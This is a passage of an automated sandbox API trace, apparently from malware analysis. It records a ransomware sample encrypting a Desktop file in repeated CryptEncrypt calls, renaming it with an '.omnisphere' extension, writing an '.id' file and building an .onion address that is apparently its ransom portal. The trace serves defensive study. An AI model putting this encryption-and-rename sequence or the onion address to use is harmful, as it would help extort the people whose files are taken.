pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.185] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.186] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.187] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.188] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.188] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.188] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.188] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.189] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.190] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.191] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.191] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.191] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x17db, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.191] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.191] GetProcessHeap () returned 0x1600000 [0163.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x260) returned 0x164e980 [0163.191] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\8ah6.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\8ah6.gif.omnisphere")) returned 1 [0163.194] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif.omnisphere.id" [0163.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\8ah6.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.198] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.199] CloseHandle (hObject=0x3bc) returned 1 [0163.200] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.201] CloseHandle (hObject=0x380) returned 1 [0163.201] SetEndOfFile (hFile=0x39c) returned 1 [0163.207] FlushFileBuffers (hFile=0x39c) returned 1 [0163.224] CloseHandle (hObject=0x39c) returned 1 [0163.224] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\8AH6.gif" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.224] GetProcessHeap () returned 0x1600000 [0163.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164ebe8 [0163.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.224] GetProcessHeap () returned 0x1600000 [0163.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17337c0 [0163.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17337c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.224] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.224] WideCharToMultiByte (in: 